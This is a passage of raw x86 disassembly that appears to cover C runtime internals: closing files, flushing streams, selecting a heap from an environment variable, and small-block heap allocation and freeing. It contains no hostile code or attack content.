sub_41DA72 proc near ; CODE XREF: sub_41B05B+2Ap
; sub_423A33+290p
arg_0 = dword ptr 4
push ebx
push ebp
push esi
push edi
mov edi, [esp+10h+arg_0]
cmp edi, dword_4DC6C0
jnb loc_41DB0C
mov eax, edi
mov esi, edi
sar eax, 5
and esi, 1Fh
lea ebx, ds:4DC5C0h[eax*4]
shl esi, 3
mov eax, [ebx]
test byte ptr [eax+esi+4], 1
jz short loc_41DB0C
push edi
call sub_4238A2
cmp eax, 0FFFFFFFFh
pop ecx
jz short loc_41DAEB
cmp edi, 1
jz short loc_41DAB9
cmp edi, 2
jnz short loc_41DACF
loc_41DAB9: ; CODE XREF: sub_41DA72+40j
push 2
call sub_4238A2
push 1
mov ebp, eax
call sub_4238A2
pop ecx
cmp eax, ebp
pop ecx
jz short loc_41DAEB
loc_41DACF: ; CODE XREF: sub_41DA72+45j
push edi
call sub_4238A2
pop ecx
push eax
nop
call near ptr 265098Dh
test eax, eax
jnz short loc_41DAEB
nop
call near ptr 2670D70h
mov ebp, eax
jmp short loc_41DAED
; ---------------------------------------------------------------------------
loc_41DAEB: ; CODE XREF: sub_41DA72+3Bj
; sub_41DA72+5Bj ...
xor ebp, ebp
loc_41DAED: ; CODE XREF: sub_41DA72+77j
push edi
call sub_423828
mov eax, [ebx]
pop ecx
and byte ptr [eax+esi+4], 0
test ebp, ebp
jz short loc_41DB08
push ebp
call sub_4203DF
pop ecx
jmp short loc_41DB1D
; ---------------------------------------------------------------------------
loc_41DB08: ; CODE XREF: sub_41DA72+8Bj
xor eax, eax
jmp short loc_41DB20
; ---------------------------------------------------------------------------
loc_41DB0C: ; CODE XREF: sub_41DA72+Ej
; sub_41DA72+2Fj
and dword_4DB27C, 0
mov dword_4DB278, 9
loc_41DB1D: ; CODE XREF: sub_41DA72+94j
or eax, 0FFFFFFFFh
loc_41DB20: ; CODE XREF: sub_41DA72+98j
pop edi
pop esi
pop ebp
pop ebx
retn
sub_41DA72 endp
; =============== S U B R O U T I N E =======================================
sub_41DB25 proc near ; CODE XREF: sub_41B05B+22p
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
mov eax, [esi+0Ch]
test al, 83h
jz short loc_41DB4E
test al, 8
jz short loc_41DB4E
push dword ptr [esi+8]
call sub_41B0B1
and word ptr [esi+0Ch], 0FBF7h
xor eax, eax
pop ecx
mov [esi], eax
mov [esi+8], eax
mov [esi+4], eax
loc_41DB4E: ; CODE XREF: sub_41DB25+Aj
; sub_41DB25+Ej
pop esi
retn
sub_41DB25 endp
; =============== S U B R O U T I N E =======================================
sub_41DB50 proc near ; CODE XREF: sub_41DBF0+2Dp
; sub_41DBF0+48p
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
test esi, esi
jnz short loc_41DB62
push esi
call sub_41DBF0
pop ecx
pop esi
retn
; ---------------------------------------------------------------------------
loc_41DB62: ; CODE XREF: sub_41DB50+7j
push esi
call sub_41DB8B
test eax, eax
pop ecx
jz short loc_41DB72
or eax, 0FFFFFFFFh
pop esi
retn
; ---------------------------------------------------------------------------
loc_41DB72: ; CODE XREF: sub_41DB50+1Bj
test byte ptr [esi+0Dh], 40h
jz short loc_41DB87
push dword ptr [esi+10h]
call sub_4238DF
neg eax
pop ecx
pop esi
sbb eax, eax
retn
; ---------------------------------------------------------------------------
loc_41DB87: ; CODE XREF: sub_41DB50+26j
xor eax, eax
pop esi
retn
sub_41DB50 endp
; =============== S U B R O U T I N E =======================================
sub_41DB8B proc near ; CODE XREF: sub_41B05B+1Ap
; ___:0041D223p ...
arg_0 = dword ptr 4
push ebx
push esi
mov esi, [esp+8+arg_0]
xor ebx, ebx
push edi
mov eax, [esi+0Ch]
mov ecx, eax
and ecx, 3
cmp cl, 2
jnz short loc_41DBD8
test ax, 108h
jz short loc_41DBD8
mov eax, [esi+8]
mov edi, [esi]
sub edi, eax
test edi, edi
jle short loc_41DBD8
push edi
push eax
push dword ptr [esi+10h]
call sub_42291D
add esp, 0Ch
cmp eax, edi
jnz short loc_41DBD1
mov eax, [esi+0Ch]
test al, 80h
jz short loc_41DBD8
and al, 0FDh
mov [esi+0Ch], eax
jmp short loc_41DBD8
; ---------------------------------------------------------------------------
loc_41DBD1: ; CODE XREF: sub_41DB8B+36j
or dword ptr [esi+0Ch], 20h
or ebx, 0FFFFFFFFh
loc_41DBD8: ; CODE XREF: sub_41DB8B+14j
; sub_41DB8B+1Aj ...
mov eax, [esi+8]
and dword ptr [esi+4], 0
mov [esi], eax
pop edi
mov eax, ebx
pop esi
pop ebx
retn
sub_41DB8B endp
; =============== S U B R O U T I N E =======================================
sub_41DBE7 proc near ; CODE XREF: sub_4239DBp
push 1
call sub_41DBF0
pop ecx
retn
sub_41DBE7 endp
; =============== S U B R O U T I N E =======================================
sub_41DBF0 proc near ; CODE XREF: sub_41DB50+Ap
; sub_41DBE7+2p
arg_0 = dword ptr 4
push ebx
push esi
push edi
xor esi, esi
xor ebx, ebx
xor edi, edi
cmp dword_4DC5A0, esi
jle short loc_41DC4E
loc_41DC01: ; CODE XREF: sub_41DBF0+5Cj
mov eax, dword_4DB598
mov eax, [eax+esi*4]
test eax, eax
jz short loc_41DC45
mov ecx, [eax+0Ch]
test cl, 83h
jz short loc_41DC45
cmp [esp+0Ch+arg_0], 1
jnz short loc_41DC2B
push eax
call sub_41DB50
cmp eax, 0FFFFFFFFh
pop ecx
jz short loc_41DC45
inc ebx
jmp short loc_41DC45
; ---------------------------------------------------------------------------
loc_41DC2B: ; CODE XREF: sub_41DBF0+2Aj
cmp [esp+0Ch+arg_0], 0
jnz short loc_41DC45
test cl, 2
jz short loc_41DC45
push eax
call sub_41DB50
cmp eax, 0FFFFFFFFh
pop ecx
jnz short loc_41DC45
or edi, eax
loc_41DC45: ; CODE XREF: sub_41DBF0+1Bj
; sub_41DBF0+23j ...
inc esi
cmp esi, dword_4DC5A0
jl short loc_41DC01
loc_41DC4E: ; CODE XREF: sub_41DBF0+Fj
cmp [esp+0Ch+arg_0], 1
mov eax, ebx
jz short loc_41DC59
mov eax, edi
loc_41DC59: ; CODE XREF: sub_41DBF0+65j
pop edi
pop esi
pop ebx
retn
sub_41DBF0 endp
; =============== S U B R O U T I N E =======================================
sub_41DC5D proc near ; CODE XREF: ___:0041DDC0p
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push 0
and dword ptr [esi], 0
call near ptr 2680528h
nop
cmp word ptr [eax], 5A4Dh
jnz short loc_41DC88
mov ecx, [eax+3Ch]
test ecx, ecx
jz short loc_41DC88
add eax, ecx
mov cl, [eax+1Ah]
mov [esi], cl
mov al, [eax+1Bh]
mov [esi+1], al
loc_41DC88: ; CODE XREF: sub_41DC5D+15j
; sub_41DC5D+1Cj
pop esi
retn
sub_41DC5D endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
mov eax, 122Ch
call sub_41BB20
lea eax, [ebp-98h]
push ebx
push eax
mov dword ptr [ebp-98h], 94h
nop
call near ptr 26C05A2h
test eax, eax
jz short loc_41DCCD
cmp dword ptr [ebp-88h], 2
jnz short loc_41DCCD
cmp dword ptr [ebp-94h], 5
jb short loc_41DCCD
push 1
pop eax
jmp loc_41DDCF
; ---------------------------------------------------------------------------
loc_41DCCD: ; CODE XREF: ___:0041DCB1j
; ___:0041DCBAj ...
lea eax, [ebp-122Ch]
push 1090h
push eax
push offset a__msvcrt_heap_ ; "__MSVCRT_HEAP_SELECT"
nop
call near ptr 2890000h
test eax, eax
jz loc_41DDBC
xor ebx, ebx
lea ecx, [ebp-122Ch]
cmp [ebp-122Ch], bl
jz short loc_41DD0F
loc_41DCFC: ; CODE XREF: ___:0041DD0Dj
mov al, [ecx]
cmp al, 61h
jl short loc_41DD0A
cmp al, 7Ah
jg short loc_41DD0A
sub al, 20h
mov [ecx], al
loc_41DD0A: ; CODE XREF: ___:0041DD00j
; ___:0041DD04j
inc ecx
cmp [ecx], bl
jnz short loc_41DCFC
loc_41DD0F: ; CODE XREF: ___:0041DCFAj
lea eax, [ebp-122Ch]
push 16h
push eax
push offset a__global_heap_ ; "__GLOBAL_HEAP_SELECTED"
call sub_41BE70
add esp, 0Ch
test eax, eax
jnz short loc_41DD31
lea eax, [ebp-122Ch]
jmp short loc_41DD7A
; ---------------------------------------------------------------------------
loc_41DD31: ; CODE XREF: ___:0041DD27j
lea eax, [ebp-19Ch]
push 104h
push eax
push ebx
call near ptr 266039Ah
nop
cmp [ebp-19Ch], bl
lea ecx, [ebp-19Ch]
jz short loc_41DD65
loc_41DD52: ; CODE XREF: ___:0041DD63j
mov al, [ecx]
cmp al, 61h
jl short loc_41DD60
cmp al, 7Ah
jg short loc_41DD60
sub al, 20h
mov [ecx], al
loc_41DD60: ; CODE XREF: ___:0041DD56j
; ___:0041DD5Aj
inc ecx
cmp [ecx], bl
jnz short loc_41DD52
loc_41DD65: ; CODE XREF: ___:0041DD50j
lea eax, [ebp-19Ch]
push eax
lea eax, [ebp-122Ch]
push eax
call sub_41B900
pop ecx
pop ecx
loc_41DD7A: ; CODE XREF: ___:0041DD2Fj
cmp eax, ebx
jz short loc_41DDBC
push 2Ch
push eax
call sub_41BFB0
pop ecx
cmp eax, ebx
pop ecx
jz short loc_41DDBC
inc eax
mov ecx, eax
cmp [eax], bl
jz short loc_41DDA1
loc_41DD93: ; CODE XREF: ___:0041DD9Fj
cmp byte ptr [ecx], 3Bh
jnz short loc_41DD9C
mov [ecx], bl
jmp short loc_41DD9D
; ---------------------------------------------------------------------------
loc_41DD9C: ; CODE XREF: ___:0041DD96j
inc ecx
loc_41DD9D: ; CODE XREF: ___:0041DD9Aj
cmp [ecx], bl
jnz short loc_41DD93
loc_41DDA1: ; CODE XREF: ___:0041DD91j
push 0Ah
push ebx
push eax
call sub_41BBA6
add esp, 0Ch
cmp eax, 2
jz short loc_41DDCF
cmp eax, 3
jz short loc_41DDCF
cmp eax, 1
jz short loc_41DDCF
loc_41DDBC: ; CODE XREF: ___:0041DCE6j
; ___:0041DD7Cj ...
lea eax, [ebp-4]
push eax
call sub_41DC5D
cmp byte ptr [ebp-4], 6
pop ecx
sbb eax, eax
add eax, 3
loc_41DDCF: ; CODE XREF: ___:0041DCC8j
; ___:0041DDB0j ...
pop ebx
leave
retn
; ---------------------------------------------------------------------------
dw 0C033h
dd 4439006Ah, 680824h, 0F000010h, 9050C094h, 482217E8h
dd 0A3C08502h, 4DC904h, 93E83674h, 83FFFFFEh, 8A303F8h
dd 75004DC9h, 3F8680Dh, 24E80000h, 59000000h, 0F8830AEBh
dd 0E8187502h, 0B5Eh, 0F75C085h, 0C90435FFh, 0E890004Dh
dd 247303Fh, 6AC3C033h, 68C35801h, 140h, 35FF006Ah, 4DC904h
dd 3821BFE8h, 0C0859002h, 4DC8FCA3h, 0C3017500h, 4244C8Bh
dd 0C8F42583h, 8300004Dh, 4DC8F825h, 16A0000h, 4DC8F0A3h
dd 0D8900h, 0C7004DC9h, 4DC8E805h, 1000h
db 0, 58h, 0C3h
; =============== S U B R O U T I N E =======================================
sub_41DE77 proc near ; CODE XREF: sub_41B0B1+17p
; sub_41B202+4Cp ...
arg_0 = dword ptr 4
mov eax, dword_4DC8F8
lea ecx, [eax+eax*4]
mov eax, dword_4DC8FC
lea ecx, [eax+ecx*4]
loc_41DE87: ; CODE XREF: sub_41DE77+26j
cmp eax, ecx
jnb short loc_41DE9F
mov edx, [esp+arg_0]
sub edx, [eax+0Ch]
cmp edx, 100000h
jb short locret_41DEA1
add eax, 14h
jmp short loc_41DE87
; ---------------------------------------------------------------------------
loc_41DE9F: ; CODE XREF: sub_41DE77+12j
xor eax, eax
locret_41DEA1: ; CODE XREF: sub_41DE77+21j
retn
sub_41DE77 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41DEA2 proc near ; CODE XREF: sub_41B0B1+23p
; sub_41B202+A4p ...
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 10h
mov ecx, [ebp+arg_0]
push ebx
push esi
mov esi, [ebp+arg_4]
mov eax, [ecx+10h]
push edi
mov edi, esi
add esi, 0FFFFFFFCh
sub edi, [ecx+0Ch]
shr edi, 0Fh
mov ecx, edi
imul ecx, 204h
lea ecx, [ecx+eax+144h]
mov [ebp+var_10], ecx
mov ecx, [esi]
dec ecx
test cl, 1
mov [ebp+var_4], ecx
jnz loc_41E1C6
mov edx, [ecx+esi]
lea ebx, [ecx+esi]
mov [ebp+var_C], edx
mov edx, [esi-4]
mov [ebp+var_8], edx
mov edx, [ebp+var_C]
test dl, 1
mov [ebp+arg_4], ebx
jnz short loc_41DF78
sar edx, 4
dec edx
cmp edx, 3Fh
jbe short loc_41DF06
push 3Fh
pop edx
loc_41DF06: ; CODE XREF: sub_41DEA2+5Fj
mov ecx, [ebx+4]
cmp ecx, [ebx+8]
jnz short loc_41DF5A
cmp edx, 20h
jnb short loc_41DF31
mov ebx, 80000000h
mov ecx, edx
shr ebx, cl
lea ecx, [edx+eax+4]
not ebx
and [eax+edi*4+44h], ebx
dec byte ptr [ecx]
jnz short loc_41DF52
mov ecx, [ebp+arg_0]
and [ecx], ebx
jmp short loc_41DF52
; ---------------------------------------------------------------------------
loc_41DF31: ; CODE XREF: sub_41DEA2+6Fj
lea ecx, [edx-20h]
mov ebx, 80000000h
shr ebx, cl
lea ecx, [edx+eax+4]
not ebx
and [eax+edi*4+0C4h], ebx
dec byte ptr [ecx]
jnz short loc_41DF52
mov ecx, [ebp+arg_0]
and [ecx+4], ebx
loc_41DF52: ; CODE XREF: sub_41DEA2+86j
; sub_41DEA2+8Dj ...
mov ecx, [ebp+var_4]
mov ebx, [ebp+arg_4]
jmp short loc_41DF5D
; ---------------------------------------------------------------------------
loc_41DF5A: ; CODE XREF: sub_41DEA2+6Aj
mov ecx, [ebp+var_4]
loc_41DF5D: ; CODE XREF: sub_41DEA2+B6j
mov edx, [ebx+8]
mov ebx, [ebx+4]
add ecx, [ebp+var_C]
mov [edx+4], ebx
mov edx, [ebp+arg_4]
mov [ebp+var_4], ecx
mov ebx, [edx+4]
mov edx, [edx+8]
mov [ebx+8], edx
loc_41DF78: ; CODE XREF: sub_41DEA2+56j
mov edx, ecx
sar edx, 4
dec edx
cmp edx, 3Fh
jbe short loc_41DF86
push 3Fh
pop edx
loc_41DF86: ; CODE XREF: sub_41DEA2+DFj
mov ebx, [ebp+var_8]
and ebx, 1
mov [ebp+var_C], ebx
jnz loc_41E029
sub esi, [ebp+var_8]
mov ebx, [ebp+var_8]
sar ebx, 4
push 3Fh
mov [ebp+arg_4], esi
dec ebx
pop esi
cmp ebx, esi
jbe short loc_41DFAB
mov ebx, esi
loc_41DFAB: ; CODE XREF: sub_41DEA2+105j
add ecx, [ebp+var_8]
mov edx, ecx
mov [ebp+var_4], ecx
sar edx, 4
dec edx
cmp edx, esi
jbe short loc_41DFBD
mov edx, esi
loc_41DFBD: ; CODE XREF: sub_41DEA2+117j
cmp ebx, edx
jz short loc_41E024
mov ecx, [ebp+arg_4]
mov esi, [ecx+4]
cmp esi, [ecx+8]
jnz short loc_41E00C
cmp ebx, 20h
jnb short loc_41DFED
mov esi, 80000000h
mov ecx, ebx
shr esi, cl
not esi
and [eax+edi*4+44h], esi
dec byte ptr [ebx+eax+4]
jnz short loc_41E00C
mov ecx, [ebp+arg_0]
and [ecx], esi
jmp short loc_41E00C
; ---------------------------------------------------------------------------
loc_41DFED: ; CODE XREF: sub_41DEA2+12Dj
lea ecx, [ebx-20h]
mov esi, 80000000h
shr esi, cl
not esi
and [eax+edi*4+0C4h], esi
dec byte ptr [ebx+eax+4]
jnz short loc_41E00C
mov ecx, [ebp+arg_0]
and [ecx+4], esi
loc_41E00C: ; CODE XREF: sub_41DEA2+128j
; sub_41DEA2+142j ...
mov ecx, [ebp+arg_4]
mov esi, [ecx+8]
mov ecx, [ecx+4]
mov [esi+4], ecx
mov ecx, [ebp+arg_4]
mov esi, [ecx+4]
mov ecx, [ecx+8]
mov [esi+8], ecx
loc_41E024: ; CODE XREF: sub_41DEA2+11Dj
mov esi, [ebp+arg_4]
jmp short loc_41E02C
; ---------------------------------------------------------------------------
loc_41E029: ; CODE XREF: sub_41DEA2+EDj
mov ebx, [ebp+arg_0]
loc_41E02C: ; CODE XREF: sub_41DEA2+185j
cmp [ebp+var_C], 0
jnz short loc_41E03A
cmp ebx, edx
jz loc_41E0BB
loc_41E03A: ; CODE XREF: sub_41DEA2+18Ej
mov ecx, [ebp+var_10]
mov ebx, [ecx+edx*8+4]
lea ecx, [ecx+edx*8]
mov [esi+4], ebx
mov [esi+8], ecx
mov [ecx+4], esi
mov ecx, [esi+4]
mov [ecx+8], esi
mov ecx, [esi+4]
cmp ecx, [esi+8]
jnz short loc_41E0BB
mov cl, [edx+eax+4]
cmp edx, 20h
mov byte ptr [ebp+arg_4+3], cl
inc cl
mov [edx+eax+4], cl
jnb short loc_41E092
cmp byte ptr [ebp+arg_4+3], 0
jnz short loc_41E081
mov ebx, 80000000h
mov ecx, edx
shr ebx, cl
mov ecx, [ebp+arg_0]
or [ecx], ebx
loc_41E081: ; CODE XREF: sub_41DEA2+1CFj
mov ebx, 80000000h
mov ecx, edx
shr ebx, cl
lea eax, [eax+edi*4+44h]
or [eax], ebx
jmp short loc_41E0BB
; ---------------------------------------------------------------------------
loc_41E092: ; CODE XREF: sub_41DEA2+1C9j
cmp byte ptr [ebp+arg_4+3], 0
jnz short loc_41E0A8
lea ecx, [edx-20h]
mov ebx, 80000000h
shr ebx, cl
mov ecx, [ebp+arg_0]
or [ecx+4], ebx
loc_41E0A8: ; CODE XREF: sub_41DEA2+1F4j
lea ecx, [edx-20h]
mov edx, 80000000h
shr edx, cl
lea eax, [eax+edi*4+0C4h]
or [eax], edx
loc_41E0BB: ; CODE XREF: sub_41DEA2+192j
; sub_41DEA2+1B7j ...
mov eax, [ebp+var_4]
mov [esi], eax
mov [eax+esi-4], eax
mov eax, [ebp+var_10]
dec dword ptr [eax]
jnz loc_41E1C6
mov eax, dword_4DC8F4
test eax, eax
jz loc_41E1B8
mov ecx, dword_4DC8EC
mov esi, dword_4271C0
shl ecx, 0Fh
add ecx, [eax+0Ch]
mov ebx, 8000h
push 4000h
push ebx
push ecx
call esi
mov ecx, dword_4DC8EC
mov eax, dword_4DC8F4
mov edx, 80000000h
shr edx, cl
or [eax+8], edx
mov eax, dword_4DC8F4
mov ecx, dword_4DC8EC
mov eax, [eax+10h]
and dword ptr [eax+ecx*4+0C4h], 0
mov eax, dword_4DC8F4
mov eax, [eax+10h]
dec byte ptr [eax+43h]
mov eax, dword_4DC8F4
mov ecx, [eax+10h]
cmp byte ptr [ecx+43h], 0
jnz short loc_41E149
and dword ptr [eax+4], 0FFFFFFFEh
mov eax, dword_4DC8F4
loc_41E149: ; CODE XREF: sub_41DEA2+29Cj
cmp dword ptr [eax+8], 0FFFFFFFFh
jnz short loc_41E1B8
push ebx
push 0
push dword ptr [eax+0Ch]
call esi
mov eax, dword_4DC8F4
push dword ptr [eax+10h]
push 0
push dword_4DC904
call near ptr 2790000h
nop
mov eax, dword_4DC8F8
mov edx, dword_4DC8FC
lea eax, [eax+eax*4]
shl eax, 2
mov ecx, eax
mov eax, dword_4DC8F4
sub ecx, eax
lea ecx, [ecx+edx-14h]
push ecx
lea ecx, [eax+14h]
push ecx
push eax
call sub_41CC90
mov eax, [ebp+arg_0]
add esp, 0Ch
dec dword_4DC8F8
cmp eax, dword_4DC8F4
jbe short loc_41E1AE
sub [ebp+arg_0], 14h
loc_41E1AE: ; CODE XREF: sub_41DEA2+306j
mov eax, dword_4DC8FC
mov dword_4DC8F0, eax
loc_41E1B8: ; CODE XREF: sub_41DEA2+234j
; sub_41DEA2+2ABj
mov eax, [ebp+arg_0]
mov dword_4DC8EC, edi
mov dword_4DC8F4, eax
loc_41E1C6: ; CODE XREF: sub_41DEA2+38j
; sub_41DEA2+227j
pop edi
pop esi
pop ebx
leave
retn
sub_41DEA2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41E1CB proc near ; CODE XREF: sub_41B202+77p
; sub_41B513+18p ...
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 14h
mov eax, dword_4DC8F8
mov edx, dword_4DC8FC
push ebx
push esi
lea eax, [eax+eax*4]
push edi
lea edi, [edx+eax*4]
mov eax, [ebp+arg_0]
mov [ebp+var_4], edi
lea ecx, [eax+17h]
and ecx, 0FFFFFFF0h
mov [ebp+var_10], ecx
sar ecx, 4
dec ecx
cmp ecx, 20h
jge short loc_41E20B
or esi, 0FFFFFFFFh
shr esi, cl
or [ebp+var_8], 0FFFFFFFFh
mov [ebp+var_C], esi
jmp short loc_41E21B
; ---------------------------------------------------------------------------
loc_41E20B: ; CODE XREF: sub_41E1CB+30j
add ecx, 0FFFFFFE0h
or eax, 0FFFFFFFFh
xor esi, esi
shr eax, cl
mov [ebp+var_C], esi
mov [ebp+var_8], eax
loc_41E21B: ; CODE XREF: sub_41E1CB+3Ej
mov eax, dword_4DC8F0
mov ebx, eax
cmp ebx, edi
mov [ebp+arg_0], ebx
jnb short loc_41E242
loc_41E229: ; CODE XREF: sub_41E1CB+75j
mov ecx, [ebx+4]
mov edi, [ebx]
and ecx, [ebp+var_8]
and edi, esi
or ecx, edi
jnz short loc_41E242
add ebx, 14h
cmp ebx, [ebp+var_4]
mov [ebp+arg_0], ebx
jb short loc_41E229
loc_41E242: ; CODE XREF: sub_41E1CB+5Cj
; sub_41E1CB+6Aj
cmp ebx, [ebp+var_4]
jnz short loc_41E2C0
mov ebx, edx
loc_41E249: ; CODE XREF: sub_41E1CB+96j
cmp ebx, eax
mov [ebp+arg_0], ebx
jnb short loc_41E265
mov ecx, [ebx+4]
mov edi, [ebx]
and ecx, [ebp+var_8]
and edi, esi
or ecx, edi
jnz short loc_41E263
add ebx, 14h
jmp short loc_41E249
; ---------------------------------------------------------------------------
loc_41E263: ; CODE XREF: sub_41E1CB+91j
cmp ebx, eax
loc_41E265: ; CODE XREF: sub_41E1CB+83j
jnz short loc_41E2C0
loc_41E267: ; CODE XREF: sub_41E1CB+ADj
cmp ebx, [ebp+var_4]
jnb short loc_41E27D
cmp dword ptr [ebx+8], 0
jnz short loc_41E27A
add ebx, 14h
mov [ebp+arg_0], ebx
jmp short loc_41E267
; ---------------------------------------------------------------------------
loc_41E27A: ; CODE XREF: sub_41E1CB+A5j
cmp ebx, [ebp+var_4]
loc_41E27D: ; CODE XREF: sub_41E1CB+9Fj
jnz short loc_41E2A5
mov ebx, edx
loc_41E281: ; CODE XREF: sub_41E1CB+C6j
cmp ebx, eax
mov [ebp+arg_0], ebx
jnb short loc_41E295
cmp dword ptr [ebx+8], 0
jnz short loc_41E293
add ebx, 14h
jmp short loc_41E281
; ---------------------------------------------------------------------------
loc_41E293: ; CODE XREF: sub_41E1CB+C1j
cmp ebx, eax
loc_41E295: ; CODE XREF: sub_41E1CB+BBj
jnz short loc_41E2A5
call sub_41E4D4
mov ebx, eax
test ebx, ebx
mov [ebp+arg_0], ebx
jz short loc_41E2B9
loc_41E2A5: ; CODE XREF: sub_41E1CB:loc_41E27Dj
; sub_41E1CB:loc_41E295j
push ebx
call sub_41E585
pop ecx
mov ecx, [ebx+10h]
mov [ecx], eax
mov eax, [ebx+10h]
cmp dword ptr [eax], 0FFFFFFFFh
jnz short loc_41E2C0
loc_41E2B9: ; CODE XREF: sub_41E1CB+D8j
xor eax, eax
jmp loc_41E4CF
; ---------------------------------------------------------------------------
loc_41E2C0: ; CODE XREF: sub_41E1CB+7Aj
; sub_41E1CB:loc_41E265j ...
mov dword_4DC8F0, ebx
mov eax, [ebx+10h]
mov edx, [eax]
cmp edx, 0FFFFFFFFh
mov [ebp+var_4], edx
jz short loc_41E2E7
mov ecx, [eax+edx*4+0C4h]
mov edi, [eax+edx*4+44h]
and ecx, [ebp+var_8]
and edi, esi
or ecx, edi
jnz short loc_41E31E
loc_41E2E7: ; CODE XREF: sub_41E1CB+106j
mov edx, [eax+0C4h]
mov esi, [eax+44h]
and edx, [ebp+var_8]
and esi, [ebp+var_C]
and [ebp+var_4], 0
lea ecx, [eax+44h]
or edx, esi
mov esi, [ebp+var_C]
jnz short loc_41E31B
loc_41E304: ; CODE XREF: sub_41E1CB+14Ej
mov edx, [ecx+84h]
inc [ebp+var_4]
and edx, [ebp+var_8]
add ecx, 4
mov edi, esi
and edi, [ecx]
or edx, edi
jz short loc_41E304
loc_41E31B: ; CODE XREF: sub_41E1CB+137j
mov edx, [ebp+var_4]
loc_41E31E: ; CODE XREF: sub_41E1CB+11Aj
mov ecx, edx
xor edi, edi
imul ecx, 204h
lea ecx, [ecx+eax+144h]
mov [ebp+var_C], ecx
mov ecx, [eax+edx*4+44h]
and ecx, esi
jnz short loc_41E347
mov ecx, [eax+edx*4+0C4h]
push 20h
and ecx, [ebp+var_8]
pop edi
loc_41E347: ; CODE XREF: sub_41E1CB+16Dj
; sub_41E1CB+183j
test ecx, ecx
jl short loc_41E350
shl ecx, 1
inc edi
jmp short loc_41E347
; ---------------------------------------------------------------------------
loc_41E350: ; CODE XREF: sub_41E1CB+17Ej
mov ecx, [ebp+var_C]
mov edx, [ecx+edi*8+4]
mov ecx, [edx]
sub ecx, [ebp+var_10]
mov esi, ecx
mov [ebp+var_8], ecx
sar esi, 4
dec esi
cmp esi, 3Fh
jle short loc_41E36D
push 3Fh
pop esi
loc_41E36D: ; CODE XREF: sub_41E1CB+19Dj
cmp esi, edi
jz loc_41E482
mov ecx, [edx+4]
cmp ecx, [edx+8]
jnz short loc_41E3DE
cmp edi, 20h
jge short loc_41E3AD
mov ebx, 80000000h
mov ecx, edi
shr ebx, cl
mov ecx, [ebp+var_4]
lea edi, [eax+edi+4]
not ebx
mov [ebp+var_14], ebx
and ebx, [eax+ecx*4+44h]
mov [eax+ecx*4+44h], ebx
dec byte ptr [edi]
jnz short loc_41E3DB
mov ebx, [ebp+arg_0]
mov ecx, [ebp+var_14]
and [ebx], ecx
jmp short loc_41E3DE
; ---------------------------------------------------------------------------
loc_41E3AD: ; CODE XREF: sub_41E1CB+1B5j
lea ecx, [edi-20h]
mov ebx, 80000000h
shr ebx, cl
mov ecx, [ebp+var_4]
lea edi, [eax+edi+4]
lea ecx, [eax+ecx*4+0C4h]
not ebx
and [ecx], ebx
dec byte ptr [edi]
mov [ebp+var_14], ebx
jnz short loc_41E3DB
mov ebx, [ebp+arg_0]
mov ecx, [ebp+var_14]
and [ebx+4], ecx
jmp short loc_41E3DE
; ---------------------------------------------------------------------------
loc_41E3DB: ; CODE XREF: sub_41E1CB+1D6j
; sub_41E1CB+203j
mov ebx, [ebp+arg_0]
loc_41E3DE: ; CODE XREF: sub_41E1CB+1B0j
; sub_41E1CB+1E0j ...
mov ecx, [edx+8]
mov edi, [edx+4]
cmp [ebp+var_8], 0
mov [ecx+4], edi
mov ecx, [edx+4]
mov edi, [edx+8]
mov [ecx+8], edi
jz loc_41E48E
mov ecx, [ebp+var_C]
mov edi, [ecx+esi*8+4]
lea ecx, [ecx+esi*8]
mov [edx+4], edi
mov [edx+8], ecx
mov [ecx+4], edx
mov ecx, [edx+4]
mov [ecx+8], edx
mov ecx, [edx+4]
cmp ecx, [edx+8]
jnz short loc_41E47F
mov cl, [esi+eax+4]
cmp esi, 20h
mov byte ptr [ebp+arg_0+3], cl
jge short loc_41E450
inc cl
cmp byte ptr [ebp+arg_0+3], 0
mov [esi+eax+4], cl
jnz short loc_41E43E
mov edi, 80000000h
mov ecx, esi
shr edi, cl
or [ebx], edi
loc_41E43E: ; CODE XREF: sub_41E1CB+266j
mov edi, 80000000h
mov ecx, esi
shr edi, cl
mov ecx, [ebp+var_4]
or [eax+ecx*4+44h], edi
jmp short loc_41E47F
; ---------------------------------------------------------------------------
loc_41E450: ; CODE XREF: sub_41E1CB+25Aj
inc cl
cmp byte ptr [ebp+arg_0+3], 0
mov [esi+eax+4], cl
jnz short loc_41E469
lea ecx, [esi-20h]
mov edi, 80000000h
shr edi, cl
or [ebx+4], edi
loc_41E469: ; CODE XREF: sub_41E1CB+28Fj
mov ecx, [ebp+var_4]
lea edi, [eax+ecx*4+0C4h]
lea ecx, [esi-20h]
mov esi, 80000000h
shr esi, cl
or [edi], esi
loc_41E47F: ; CODE XREF: sub_41E1CB+24Ej
; sub_41E1CB+283j
mov ecx, [ebp+var_8]
loc_41E482: ; CODE XREF: sub_41E1CB+1A4j
test ecx, ecx
jz short loc_41E491
mov [edx], ecx
mov [ecx+edx-4], ecx
jmp short loc_41E491
; ---------------------------------------------------------------------------
loc_41E48E: ; CODE XREF: sub_41E1CB+229j
mov ecx, [ebp+var_8]
loc_41E491: ; CODE XREF: sub_41E1CB+2B9j
; sub_41E1CB+2C1j
mov esi, [ebp+var_10]
add edx, ecx
lea ecx, [esi+1]
mov [edx], ecx
mov [edx+esi-4], ecx
mov esi, [ebp+var_C]
mov ecx, [esi]
test ecx, ecx
lea edi, [ecx+1]
mov [esi], edi
jnz short loc_41E4C7
cmp ebx, dword_4DC8F4
jnz short loc_41E4C7
mov ecx, [ebp+var_4]
cmp ecx, dword_4DC8EC
jnz short loc_41E4C7
and dword_4DC8F4, 0
loc_41E4C7: ; CODE XREF: sub_41E1CB+2E0j
; sub_41E1CB+2E8j ...
mov ecx, [ebp+var_4]
mov [eax], ecx
lea eax, [edx+4]
loc_41E4CF: ; CODE XREF: sub_41E1CB+F0j
